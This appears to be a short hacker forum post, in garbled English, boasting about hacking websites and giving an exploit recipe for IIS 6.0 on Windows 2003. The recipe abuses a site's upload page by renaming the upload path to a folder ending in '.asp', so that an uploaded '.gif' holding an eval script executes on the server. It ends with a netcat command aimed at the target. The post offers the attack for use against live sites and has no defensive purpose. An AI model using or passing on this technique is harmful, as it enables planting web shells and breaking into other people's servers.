JUST,DO.IT!
I LOVE HACKED DOWN WEBSITE.
This is BUG Only For > IIS 6.0 (Windows 2003 )
EXPLIOT:
HTTP://WWW.****.COM/(UPLOAD.ASP)
You can change upload is filepath…. -_-!!
(exmple:upload/*.gif)
changed upload/register(USER).asp/*.gif
*.gif is your eval javscrpit ！
In the end
NC.EXE WWW.****.COM 80